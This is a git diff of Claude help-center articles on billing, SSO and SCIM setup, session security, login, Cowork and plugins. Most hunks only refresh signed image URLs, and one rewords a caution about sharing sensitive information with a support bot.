+![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1843320727/8d1c859ae9b8e0cdb536d024bf40/9bc3d239-8eb6-4bae-a032-a236f88ee606?expires=1789538400&signature=b9105cc417b424060c8a70cd8136c82bccac7b8c33163126ef37343ea9219cec&req=dSgjFcp8nYZdXvMW1HO4zYqyZctI%2F4qzgN0ADj5oqFCkuuHGF3KOSyIC9oD0%0AYk8e2NuaDg1HLRG86lk%3D%0A) Note that Claude will only use the websites listed in the plan, so you’ll need to manually approve any additional access requests. @@ -62,7 +62,7 @@ When you choose "Skip all approvals," Claude doesn't pause to ask, and nothing c There are some websites on which Claude requires approval for every action. If you navigate to one of these sites, a **New permissions required** prompt will appear in the extension side panel, Claude Cowork, or Claude Code where Claude will ask for permission before accessing the page or taking any action. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2604970825/d7b961271be69e7541b406df1efd/d845324e-6b4a-4f54-83b9-0bea86ec09c6?expires=1789501500&signature=d7b2c134cf3736486519df3feb660e9dba71e1a064dc55cd1329f8ecda382778&req=diYnEsB5nYldXPMW1HO4zZ3Nqm91iC3p7A4lHPBihAXlVnBfsQXDKu%2BhppSo%0APGYkAp5rBzH1CYGRADs%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2604970825/d7b961271be69e7541b406df1efd/d845324e-6b4a-4f54-83b9-0bea86ec09c6?expires=1789538400&signature=c5ba5eb8a771925940256a2317d5303ea36c8b9500d7a27c735e2fe80c8c981f&req=diYnEsB5nYldXPMW1HO4zZ3Nqm91iyTo7A4lHPBihAVEdtwbniVdKgAtqvud%0AZSDmFoQIQAGj2duEgsY%3D%0A) ### Permission options diff --git a/content/support/12997503-team-plan-billing-faqs.md b/content/support/12997503-team-plan-billing-faqs.md index 8113eb7760..e7f33771b4 100644 --- a/content/support/12997503-team-plan-billing-faqs.md +++ b/content/support/12997503-team-plan-billing-faqs.md @@ -18,7 +18,7 @@ Your organization's billing address determines where your invoices are sent. You If you want to use a name other than the one tied to your payment method, an organization Owner should check the "Use a different name on invoices" box when adding or updating your payment method in **[Organization settings > Billing](https://claude.ai/admin-settings/billing)**: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1922145253/f2e3d4e0fe43a2ea07e89244764c/image.png?expires=1789501500&signature=1e669f0c82b840296dde8d3d5abde07f01d13253050932c0059909642514389c&req=dSklFMh6mINaWvMW1HO4zRZTxFPEu8rWKAqLF4ERnlWISmOLWy3fYuBcRbUu%0Ank%2BEWlrTvbKx2%2Fh%2FT18%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1922145253/f2e3d4e0fe43a2ea07e89244764c/image.png?expires=1789538400&signature=322ac2c6efa62ea9a44cd93fb8e2553290340fce0af9dc1a7676faa643451bdf&req=dSklFMh6mINaWvMW1HO4zRZTxFPEuMPXKAqLF4ERnlVlJ6mfNVukbNcySaKY%0AsRKESlm3wjk8H6RJ%2BeY%3D%0A) ## When will I be billed? diff --git a/content/support/13047024-how-to-get-support-for-claude-for-government.md b/content/support/13047024-how-to-get-support-for-claude-for-government.md index 5a40962c48..e7bf2146fa 100644 --- a/content/support/13047024-how-to-get-support-for-claude-for-government.md +++ b/content/support/13047024-how-to-get-support-for-claude-for-government.md @@ -1,6 +1,6 @@ # How to get support for Claude for Government -**Please note:** This page is hosted outside of Claude for Government's FedRAMP boundary. Use caution when sharing information with our AI support bot. +**Please note:** This page is hosted outside of Claude for Government's FedRAMP boundary. Don't share sensitive information with our AI support bot. This article explains how Claude for Government Admins can contact Anthropic Support. We've designed a specialized process to ensure your sensitive information remains secure while providing you with the help you need. diff --git a/content/support/13132885-set-up-single-sign-on-sso.md b/content/support/13132885-set-up-single-sign-on-sso.md index 76ee338379..6db63ee9f1 100644 --- a/content/support/13132885-set-up-single-sign-on-sso.md +++ b/content/support/13132885-set-up-single-sign-on-sso.md @@ -42,7 +42,7 @@ You can verify multiple domains for a single organization, but all domains must 3. Enter the domain(s) you want to verify in the **Update organization email domains** modal and click the “+” button: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2498843282/561d5ceb1c3a5df75bdfee8bfc3f/d2491145-362d-490b-bdcf-66a0a7656ddc?expires=1789501500&signature=dca8d60955dce07bd6f50d66e30a8b9db7279ed7937c0f3b253249bef2fdae50&req=diQuHsF6noNXW%2FMW1HO4zSdmHnU8%2BsWJe3H0OpmIzWFZIDu%2BVjO2dHfVWmzp%0AX9vB%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2498843282/561d5ceb1c3a5df75bdfee8bfc3f/d2491145-362d-490b-bdcf-66a0a7656ddc?expires=1789538400&signature=46e5ffcf236bd1b8b9c28424ebfd36b8d3e6eda1e8ad22c04c32f6d24effa250&req=diQuHsF6noNXW%2FMW1HO4zSdmHnU8%2BcyIe3H0OpmIzWE8kZeb%2FX6oSEGq9wqX%0Ag%2BZj%0A) 4. Click “Save” when you’re finished adding domains. @@ -50,7 +50,7 @@ You can verify multiple domains for a single organization, but all domains must 6. Enter your domain in the text box and click “Continue”: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2047042630/0617a562cd28a7ff0e607d66a30b/6bd08e1d-2b65-40ab-bc79-a257153854c1?expires=1789501500&signature=43f2913b014467c29ea34576987b71322eba5efd5bcc9b8be87a62f60fbfc09c&req=diAjEcl6n4dcWfMW1HO4zWHctRSSl9CvyoyXAW0OlXp0yLpGZuQLW5n634yj%0Ab86E%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2047042630/0617a562cd28a7ff0e607d66a30b/6bd08e1d-2b65-40ab-bc79-a257153854c1?expires=1789538400&signature=e3829f014b445482529ccb778770f0cd9b78660b3117f8dd2ef97581269257ba&req=diAjEcl6n4dcWfMW1HO4zWHctRSSlNmuyoyXAW0OlXq%2Bq48x98PlPMEWJgKR%0A5oAr%0A) 7. The setup screen displays a TXT record. **Copy the full Value using the copy button**—it begins with `anthropic-domain-verification-` and is longer than what's visible in the box. In your DNS provider, add a TXT record to your domain and **Value** set to the copied string. The domain must match exactly what you entered in the previous step, including any subdomains. Add it alongside any existing TXT records; don't replace them. The value is case-sensitive, so paste it exactly. Please refer to your DNS provider's documentation on this topic. @@ -76,7 +76,7 @@ Clicking "Refresh" re-checks your DNS; it won't show Verified until the publishe If the record is correct and propagated but the status still shows Pending, contact Support. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2047044496/b8df54a0331784cc9ae8f00112aa/bf9609c1-dc93-4665-a066-4cae2fe4b002?expires=1789501500&signature=4ab2e4a88c803d57048aa1a6293f5d01986f33c5c3c705ed0a3ffbd2029d03c0&req=diAjEcl6mYVWX%2FMW1HO4zVjmWSAFb3W8PM2D8ZcdgrjBrIF8kPR%2FV4fJG2zJ%0ANM4ITRhj4qWU7okH8OE%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2047044496/b8df54a0331784cc9ae8f00112aa/bf9609c1-dc93-4665-a066-4cae2fe4b002?expires=1789538400&signature=8be4edc5b4b405374bcc0b0c00ce17b7b1258297a51685f72ceb9a04a2cd4790&req=diAjEcl6mYVWX%2FMW1HO4zVjmWSAFbHy9PM2D8Zcdgri8gQ3iBxQL2zBOi%2B6N%0AOT2wQk3MWDILD63otdc%3D%0A) **Note:** Once your domain is verified, you'll see a **Restrict organization creation** toggle under **Security** on the Organization and access organization settings page. Enable this if you want to prevent users from creating new Claude or Console organizations—including personal accounts—using your verified domains. @@ -116,7 +116,7 @@ For IdP-specific setup instructions, see: You can now choose to toggle on **Require SSO for Console** and/or **Require SSO for Claude,** on the **Organization and access** page, under the **Authentication** section: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312690200/bd2403586d4f6651ccd79e2a45af/b9f8d7ce-0def-49d9-bfb2-3a14352d7214?expires=1789501500&signature=551e67ec9962bc5289f24a0c54d73d0ede8b5a0afecde6fed3b0bb267fae070d&req=diMmFM93nYNfWfMW1HO4zdAICwakAn0PItXtKivx6ZH0NKuONdGu5vqlnZzO%0AxTVla6mShcEEanmMQds%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312690200/bd2403586d4f6651ccd79e2a45af/b9f8d7ce-0def-49d9-bfb2-3a14352d7214?expires=1789538400&signature=52f16793fb8114aca318176ad0f2abcfeebb7119409af619d0f08364e2d97161&req=diMmFM93nYNfWfMW1HO4zdAICwakAXQOItXtKivx6ZGBsiewNhlMrCgfq61C%0AXWeHiNsbIx5E5jOf9rQ%3D%0A) When SSO is required, users must use the “Continue with SSO” option to log in to their Claude/Console accounts. When SSO is not required, they will have the option to choose “Continue with SSO” or “Continue with email.” diff --git a/content/support/13133195-set-up-jit-or-scim-provisioning.md b/content/support/13133195-set-up-jit-or-scim-provisioning.md index b0f821a2c2..847c749197 100644 --- a/content/support/13133195-set-up-jit-or-scim-provisioning.md +++ b/content/support/13133195-set-up-jit-or-scim-provisioning.md @@ -36,7 +36,7 @@ Use this table to help decide which provisioning mode is right for your organiza Both JIT and SCIM can be combined with **Enable group mappings** to control role or seat tier assignment based on IdP group membership. If you select either of these options for your provisioning mode, **Enable group mappings** will appear within the **User provisioning** section: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312706099/35d5d3ec149880a96bb7acec59f6/a4cfce55-86bf-40b0-b455-c8f412d48e9e?expires=1789501500&signature=d3c8ec778d86956fc3cac971ff99fc75d71e2419090ff7057bf82a1546db99e2&req=diMmFM5%2Bm4FWUPMW1HO4zXBDQ6JRDVtzxFMG%2BIEvQSfEYXuBavvJRLGKt1wY%0AybPI6GOWXeoRezXVcIY%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312706099/35d5d3ec149880a96bb7acec59f6/a4cfce55-86bf-40b0-b455-c8f412d48e9e?expires=1789538400&signature=07b9530e0ec46842e0a3b66e816c96ed75859e708bdbf7bbff2aadcacef2ad51&req=diMmFM5%2Bm4FWUPMW1HO4zXBDQ6JRDlJyxFMG%2BIEvQSez438jRbq9I2Dt95Sm%0ANXzmFAnCtyLsvX7xc1E%3D%0A) **Important:** Group mappings set a user’s role type and seat tier only. Users with the Custom role get their permissions from groups in Claude, and those groups sync from your IdP only when your provisioning mode is SCIM directory sync. With JIT, you need to create groups and add users to them manually in **[Organization settings > Groups](https://claude.ai/admin-settings/groups)**. If you map an IdP group to the Custom role under JIT without doing this, those users have no permissions when they log in. Learn more about **[managing groups on Enterprise plans](https://support.claude.com/en/articles/13799932)**. @@ -122,7 +122,7 @@ Once your IdP is connected, continue to Step 3. 4. Toggle **Enable group mappings** on (if it’s not already): - ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312714635/b57870b51e6511c8293637bceee2/da1ceabc-b6bc-451b-9cda-24ff6aa90d02?expires=1789501500&signature=d87574634849b8ee74878d8fd120943966d48db25d63344c2e23edc92f3d0c81&req=diMmFM5%2FmYdcXPMW1HO4zeBEbszdl%2FtNyb72rapuHpOLsaycHw49430su7h0%0AJgim%0A) + ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312714635/b57870b51e6511c8293637bceee2/da1ceabc-b6bc-451b-9cda-24ff6aa90d02?expires=1789538400&signature=5bb299278d7a16c613bd111832f02039c950bf401a2c342b78aa89ad034eb57f&req=diMmFM5%2FmYdcXPMW1HO4zeBEbszdlPJMyb72rapuHpObzyY5GDRN7b73246n%0A6boJ%0A) 5. In the **Enable group mappings** section, click “Add” next to each role and select the corresponding group from your IdP in the dropdown. @@ -174,7 +174,7 @@ Verify you have enough seats purchased and available to add members to your org. 4. **For SCIM:** Click "Sync" to prompt an immediate sync, or wait for the automatic sync cycle: - ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312717421/c97fce49ad17d4660880a05fbaaf/59fbfa2a-1072-4662-8ca5-102970d5a795?expires=1789501500&signature=f086f8796c9ffc999b8165b5b74a26e942f63537beabc013146ed986d87a8196&req=diMmFM5%2FmoVdWPMW1HO4zZ9La1SoGcvH5hujYvMis4cKv6wubSTBaOfRYoeE%0AJ285%0A) + ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312717421/c97fce49ad17d4660880a05fbaaf/59fbfa2a-1072-4662-8ca5-102970d5a795?expires=1789538400&signature=54d193466486a184d3e069fb9c0fcbc3262cda2317541fe5f4bb32128f24d5cb&req=diMmFM5%2FmoVdWPMW1HO4zZ9La1SoGsLG5hujYvMis4e84fN2FNWv%2F1%2BuYYZA%0AgoZk%0A) ### Users mapped to the Custom role can't access anything after logging in diff --git a/content/support/13163631-configuring-session-security-settings.md b/content/support/13163631-configuring-session-security-settings.md index cded24f358..ba6589c67a 100644 --- a/content/support/13163631-configuring-session-security-settings.md +++ b/content/support/13163631-configuring-session-security-settings.md @@ -18,7 +18,7 @@ Session duration controls allow Enterprise and Console Admins to set a maximum s 5. Confirm your selection by clicking “Enable.” -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1888469436/1725e63ea1a2615948faecf4ec73/9bd276a1-7329-414d-87a1-d04dac93fff7?expires=1789501500&signature=b08cb8fa3b0312b78eb1c289931e8b9acff461eb828cd5615530aec9d0774ca2&req=dSgvHs14lIVcX%2FMW1HO4zQNx6%2BsiQ1tVg%2F6XaftFnjwbsdNumXixszre7pID%0AZcG3zzb3%2BTr%2Bh5zO8KM%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1888469436/1725e63ea1a2615948faecf4ec73/9bd276a1-7329-414d-87a1-d04dac93fff7?expires=1789538400&signature=e9345f8203824a5140d20e88e33f2565d8d285da57a7c357446e39b8f7044478&req=dSgvHs14lIVcX%2FMW1HO4zQNx6%2BsiQFJUg%2F6XaftFnjyNEURyFoVcmlZre0C8%0Al2%2B8VyHcVSwA5Tkco34%3D%0A) ### For Console Admins @@ -32,7 +32,7 @@ Session duration controls allow Enterprise and Console Admins to set a maximum s 5. Confirm your selection by clicking “Enable.” -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1888469435/7a766bbe02e61c7d8f05deb5b8f0/b0bda400-47c6-43dd-9907-131ebe180b36?expires=1789501500&signature=b4f11bcc2d4c20e6a02aa30f85b82d6bd31abb760cc1c7fcf6cabf1499fe962c&req=dSgvHs14lIVcXPMW1HO4zWzx2LAzJ34kXZ5D7eVpMtehuEjeVsGqPYVF3oOo%0AKbhYU5u2OG2opN4Qjz8%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1888469435/7a766bbe02e61c7d8f05deb5b8f0/b0bda400-47c6-43dd-9907-131ebe180b36?expires=1789538400&signature=fcea6e2c81a1f4d1de26e5c21d1e9d9dc5eca9813f6075cf4b3272464b1a8f88&req=dSgvHs14lIVcXPMW1HO4zWzx2LAzJHclXZ5D7eVpMtfBo%2FM1HhoAQ%2Fbu6%2Fxo%0AZklFjCuyZM%2BCYLif%2Fig%3D%0A) ### What happens after enabling shortened session length? @@ -50,7 +50,7 @@ You can change the session duration at any time by selecting a new value from th - Sessions scheduled to expire beyond the new duration will have their expiration shortened accordingly. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1888469437/46ac5bc55484ca01556d87a5ade7/b01a7651-ad65-4b32-93ff-16dbc9ca97c0?expires=1789501500&signature=55c604fab585ed3acbb103a5d5047617be86d09c6f087e686b5751104870b506&req=dSgvHs14lIVcXvMW1HO4zZ7mWsGe5zimA00cbyPOLDWBy%2FjSaqsk1Of3M8IB%0A3WvlQbTHLF%2B75B%2FUeiM%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1888469437/46ac5bc55484ca01556d87a5ade7/b01a7651-ad65-4b32-93ff-16dbc9ca97c0?expires=1789538400&signature=d37c4e7fd0f5942cad4809163c18551fe78b84e370b0679e9e7ce3fd94286eb4&req=dSgvHs14lIVcXvMW1HO4zZ7mWsGe5DGnA00cbyPOLDXrVIa23ql44jAlMtHF%0Any07qh4RiMS6CBfHQ%2BM%3D%0A) ## Disabling session length settings diff --git a/content/support/13189465-log-in-to-your-claude-account.md b/content/support/13189465-log-in-to-your-claude-account.md index 4e22a68a0f..06085d197d 100644 --- a/content/support/13189465-log-in-to-your-claude-account.md +++ b/content/support/13189465-log-in-to-your-claude-account.md @@ -2,7 +2,7 @@ When you open Claude on a web browser ([claude.ai](http://claude.ai)), the desktop app, or a mobile app, you will see two different options for logging in to your Claude account. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1893216804/f2209c3ec6cf4fc2e803d13bbc9d/40520c9e-ff82-4a7c-adca-5a064fe18d8c?expires=1789501500&signature=8e1a2f257c0ba86115b97659b16c65dd5941815621bc75c4fc19b8a78e804a09&req=dSguFct%2Fm4lfXfMW1HO4zXg5BouJ4xOxzWhrqpWiTMlv1ph0lRkeLg8%2BQiph%0A7OUwlv53hzeYHx4dfJY%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1893216804/f2209c3ec6cf4fc2e803d13bbc9d/40520c9e-ff82-4a7c-adca-5a064fe18d8c?expires=1789538400&signature=b0d261ee86d6f2aaeb6622629252869de7f9cd7fd95587c1539f5b881eab9f01&req=dSguFct%2Fm4lfXfMW1HO4zXg5BouJ4BqwzWhrqpWiTMkTPWWEXzat72IVeM3Y%0AVToV7bXJ9Fq6dN0Mv4k%3D%0A) ## Continue with Google diff --git a/content/support/13325567-account-management-faqs.md b/content/support/13325567-account-management-faqs.md index e772427188..59e1f3b72c 100644 --- a/content/support/13325567-account-management-faqs.md +++ b/content/support/13325567-account-management-faqs.md @@ -44,6 +44,6 @@ The email domain that was used to create your Team or Enterprise plan organizati Owners can remove domains by opening up the same modal and clicking the trash can icon to the right of the domain: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2053873852/1cbccea3b7067e03205f2ff8546b/CleanShot+2026-02-11+at+11_16_07%402x.png?expires=1789501500&signature=b5502a9b6e2ea8bb48aaf75c9a487b2ead4d344bb0cd68c0cce42d8a90b32e9b&req=diAiFcF5nolaW%2FMW1HO4zUrhFuKdaQkfkeFUnrkrQZi5gAPijdPUBUU%2FmaL%2B%0AScO585JNyQGDLKYRpDE%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2053873852/1cbccea3b7067e03205f2ff8546b/CleanShot+2026-02-11+at+11_16_07%402x.png?expires=1789538400&signature=724d6d7625e29935edc8d5c4552ab24cd65ea4e09ba4c563e5c18c0a8ce97985&req=diAiFcF5nolaW%2FMW1HO4zUrhFuKdagAekeFUnrkrQZj9g6vS3KXnX%2BHkrX%2F%2B%0A3ssvNAuvUGVwDLqIdWg%3D%0A) While the account creator must use a business email address, you can add public domains like @gmail.com, @yahoo.com, and @hotmail.com as allowed domains for other members of your organization. \ No newline at end of file diff --git a/content/support/13345190-get-started-with-claude-cowork.md b/content/support/13345190-get-started-with-claude-cowork.md index 43741d1010..a28050838a 100644 --- a/content/support/13345190-get-started-with-claude-cowork.md +++ b/content/support/13345190-get-started-with-claude-cowork.md @@ -178,7 +178,7 @@ To set global instructions: 3. Type your instructions in the text box and click "Save": -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2525926874/15324ac4155d7802272e8bdef04b/ec66cd09-a4db-4f1d-8f30-226c9d126333?expires=1789501500&signature=9305d3c10951de29937089490075002dc87e1c8705d8d084169149aeb5d5c3c2&req=diUlE8B8m4lYXfMW1HO4zcDl6tHpNlC18iWjaktE942mpCVvsKEbCeoEosHf%0AQ8yu9ry8rPYC4qdq1rI%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2525926874/15324ac4155d7802272e8bdef04b/ec66cd09-a4db-4f1d-8f30-226c9d126333?expires=1789538400&signature=036e024ea3a7f7a7668fee0817b881a9643f7cf70b41e6445a22faa3df02a56b&req=diUlE8B8m4lYXfMW1HO4zcDl6tHpNVm08iWjaktE943b6xAW%2BnlvffiJad0c%0AXFUnB9mJpLmP85%2FJ0O0%3D%0A) ### Folder instructions diff --git a/content/support/13346458-customizing-your-console-appearance-settings.md b/content/support/13346458-customizing-your-console-appearance-settings.md index 8df3406785..90570436f2 100644 --- a/content/support/13346458-customizing-your-console-appearance-settings.md +++ b/content/support/13346458-customizing-your-console-appearance-settings.md @@ -8,4 +8,4 @@ 3. Select from Light, System, or Dark under **Color mode**. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1922579101/ede30d38dca693c59f9c15d79e69/CleanShot+2026-01-08+at+15_45_20%402x.png?expires=1789501500&signature=28966d6b1ec111cb18714d3d068a0baef4f5901900199d336b17381f7f27726c&req=dSklFMx5lIBfWPMW1HO4zRpFC8EBTRNzO9Kw38RlAYJxXxo5cvFANq0nRp2T%0ATCkqX8a24Xz1VcnI2Cc%3D%0A) \ No newline at end of file +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1922579101/ede30d38dca693c59f9c15d79e69/CleanShot+2026-01-08+at+15_45_20%402x.png?expires=1789538400&signature=e1c5a0e160b2b1f04b5bcae38b752907d750a25892a4f67165900af264d3f922&req=dSklFMx5lIBfWPMW1HO4zRpFC8EBThpyO9Kw38RlAYLABPk2aNRPvoLbX0MJ%0AdDEA3UxwCuQ8wMgqrXs%3D%0A) \ No newline at end of file diff --git a/content/support/13371040-log-in-to-your-console-account.md b/content/support/13371040-log-in-to-your-console-account.md index b0e668c508..47003d8286 100644 --- a/content/support/13371040-log-in-to-your-console-account.md +++ b/content/support/13371040-log-in-to-your-console-account.md @@ -2,7 +2,7 @@ When you navigate to the **[Claude Console](https://platform.claude.com)**, you will see two different options for logging in to your Console account. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1935026646/d90d1613a3dbe763fef5abb96e3c/image.png?expires=1789501500&signature=f7a3aa5a7da7a33351450addb9fbc36a109c00727af563fc33c65ff8dcc0045a&req=dSkkE8l8m4dbX%2FMW1HO4zcrI54DpoIEI8vUNcPt4%2B72QiT8G%2BJHTZG2OKN67%0Aqtuq5nGQfB%2FjIJkZPsU%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1935026646/d90d1613a3dbe763fef5abb96e3c/image.png?expires=1789538400&signature=0f8eb4e9f7a54d2d7a327f48b9235592bdb44855edd0ef62aef64837633cdebb&req=dSkkE8l8m4dbX%2FMW1HO4zcrI54Dpo4gJ8vUNcPt4%2B72cAXRqYuK6l1YxJ86F%0AnY%2B%2BzST3%2F36QThwOyrg%3D%0A) ## Continue with Google diff --git a/content/support/13641943-visual-and-interactive-content.md b/content/support/13641943-visual-and-interactive-content.md index b711cb654a..8a68917ab9 100644 --- a/content/support/13641943-visual-and-interactive-content.md +++ b/content/support/13641943-visual-and-interactive-content.md @@ -18,7 +18,7 @@ Claude can show current weather conditions and forecasts when you ask about the Claude automatically displays temperatures in Fahrenheit for US locations and Celsius for everywhere else. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2040544927/3a9c695b24df387ecdd766ad308c/8be9f393-dcb0-4ff8-89e8-5fa47bedaa38?expires=1789501500&signature=d0e91f7005df9095329ad1f3058a16d9ec53244cb668ebf6c60508442e231b98&req=diAjFsx6mYhdXvMW1HO4zXlB7Te%2F1RmNdgndksVD5R0dc4p1nV%2BfAQgfFxw2%0Ab%2BIG0cNJ7YL%2BFAXuIJg%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2040544927/3a9c695b24df387ecdd766ad308c/8be9f393-dcb0-4ff8-89e8-5fa47bedaa38?expires=1789538400&signature=d1b4a1631d6f7fe1add6db85ffea548554d45b2945b8cd58d185350207543a90&req=diAjFsx6mYhdXvMW1HO4zXlB7Te%2F1hCMdgndksVD5R1B8L%2BF2A5RNik%2BY%2FkA%0AMWRAFjHgGUnRFJ4PzX4%3D%0A) Weather is powered by Google Maps (). @@ -28,7 +28,7 @@ When you ask about recipes, Claude can display formatted recipe cards that are e **Note:** Visual recipe cards are available on web and desktop only. On mobile, Claude provides recipe information as text in the conversation. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2040544929/12f4c51eda7779d65d3ea2c7ab16/d0f4a314-cff8-421a-b401-10c2bf50374e?expires=1789501500&signature=fede11e5d7a44f96a4aafeed8e37544f09dde242f567cdca6c3949f760bc5588&req=diAjFsx6mYhdUPMW1HO4zUQpe7kQ0lWSrIPm%2FImZVg04ZXo6iiuchKCLkZHO%0AQl5bvx2krpixXtQF3Wo%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2040544929/12f4c51eda7779d65d3ea2c7ab16/d0f4a314-cff8-421a-b401-10c2bf50374e?expires=1789538400&signature=afbf28eb6c68dafe31e57d8f711989132f0a1f9efc90552f18f2fd62432a58ff&req=diAjFsx6mYhdUPMW1HO4zUQpe7kQ0VyTrIPm%2FImZVg0NV4VmM7A5kzD5h4Rm%0AMl94R9UKZgmuEjxn0g4%3D%0A) ### Custom visuals @@ -76,7 +76,7 @@ For example, if you ask Claude to help you plan a trip, it might ask you to: This content appears at the bottom of the chat. You can still type a response if you prefer. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2040544930/9ad066e137d11e4b559b0217e12d/9bf30d2d-1715-42b3-9da5-2a9298f41f08?expires=1789501500&signature=e70e422cc8d6d88e95cc138f16e2aed170956b7b92e31c998567abb96a66efaa&req=diAjFsx6mYhcWfMW1HO4zWmF5%2Fy7aR%2Bnx4wz0C7CTAL%2FGUd56a5JZBcag7GA%0AawlFLHXxpgMofYR6KSA%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2040544930/9ad066e137d11e4b559b0217e12d/9bf30d2d-1715-42b3-9da5-2a9298f41f08?expires=1789538400&signature=18028e2713f8cb46c8b87b53601f59687314b6e6e4013f6150e7c9929feb9f67&req=diAjFsx6mYhcWfMW1HO4zWmF5%2Fy7ahamx4wz0C7CTAItU8o%2F%2FtuEb2EzcALB%0AGXTDuHLjSJHiya4JmFk%3D%0A) --- diff --git a/content/support/13756069-public-sector-faqs.md b/content/support/13756069-public-sector-faqs.md index 2f8e964985..4e47fbb03f 100644 --- a/content/support/13756069-public-sector-faqs.md +++ b/content/support/13756069-public-sector-faqs.md @@ -6,7 +6,7 @@ Select your product based on both your technical/functional requirements, and also your compliance/security/deployment environment requirements. Here is a list of options: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2197717161/79965a24090029e9e58c727c3c24/pubsec-product-matrix_png+%281%29.jpg?expires=1789501500&signature=9d047d081280854238b93e30986121b9ca84050ac12e4909fa13a8c471c2d3bd&req=diEuEc5%2FmoBZWPMW1HO4zU94LlAgHdw12WxtU42UVC3nKGzcLcigYc%2BSUtF%2B%0AMASX2mDSyrp5CB7nwtY%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2197717161/79965a24090029e9e58c727c3c24/pubsec-product-matrix_png+%281%29.jpg?expires=1789538400&signature=360635517fe99dba5f4bf41c46ce8e2fde88c48652e6c9dbadf279dde5e1f8de&req=diEuEc5%2FmoBZWPMW1HO4zU94LlAgHtU02WxtU42UVC0OTycEvwPZBu49gTXA%0AF7oDMKuBdtEKaughdEI%3D%0A) ### What is Claude for Government (C4G)? diff --git a/content/support/13837433-manage-plugins-for-your-organization.md b/content/support/13837433-manage-plugins-for-your-organization.md index 456f613447..2f8f237439 100644 --- a/content/support/13837433-manage-plugins-for-your-organization.md +++ b/content/support/13837433-manage-plugins-for-your-organization.md @@ -112,7 +112,7 @@ Your personal GitHub token is verified to confirm you have access, then Cowork u An initial sync runs automatically when you connect a repository. After that, organization owners can opt-in to continued automatic updates per marketplace by going to **[Organization settings > Plugins](https://claude.ai/admin-settings/plugins)**, clicking the menu button in the upper right corner of the marketplace, then toggling "Sync automatically" on: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2193200015/a239033a9ab19fbd39f1a0d9edce/CleanShot+2026-03-23+at+11_41_31%402x.png?expires=1789501500&signature=6d994e880bdeebe8842271ec55d0aa47976a844a120749744412d733fecc2f8c&req=diEuFct%2BnYFeXPMW1HO4zUYv5tT8wX4RRDH%2FtUo5ov4Lb4FPiKQ1RbVeDB9I%0A4bUSzw%2BbK0okGMzXv90%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2193200015/a239033a9ab19fbd39f1a0d9edce/CleanShot+2026-03-23+at+11_41_31%402x.png?expires=1789538400&signature=a776e08f6fcb49df881306258074e60330e0f2725001d6a8a605677bdcb3aa9e&req=diEuFct%2BnYFeXPMW1HO4zUYv5tT8wncQRDH%2FtUo5ov70%2Bn3onJh%2BL5FcNpQG%0A5u4hUL5BjW1NTSsucrA%3D%0A) Enabling automatic sync creates a webhook on the connected repository. The person turning the toggle on must have admin-level access to that repository on GitHub. This is checked through their personal GitHub connection, which is separate from the Claude GitHub App installation. Without admin access, the page shows "Cannot access repository. Ensure the repository exists and the Claude GitHub App is installed," even when the App is installed correctly and manual updates work. diff --git a/content/support/13854387-schedule-recurring-tasks-in-claude-cowork.md b/content/support/13854387-schedule-recurring-tasks-in-claude-cowork.md index 6f273caa74..295954d2fe 100644 --- a/content/support/13854387-schedule-recurring-tasks-in-claude-cowork.md +++ b/content/support/13854387-schedule-recurring-tasks-in-claude-cowork.md @@ -52,7 +52,7 @@ There are two ways to create a scheduled task: 6. You can explicitly confirm you want to schedule the task when prompted by Claude by clicking “Schedule": -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2104085399/4dda7e6f76026fd827db0b9323a9/f20635bf-15e7-4978-a213-5b9f67e9fb9a?expires=1789501500&signature=c82c3bfd6ffa6e45e1cd40dc7bfd1b0231d90cd8094208d67935ff82d176c571&req=diEnEsl2mIJWUPMW1HO4zeLJBkzh%2F%2BuCPx%2FSrZI7l8z6jNidB6iEyTo415hN%0AJV0H%0A) 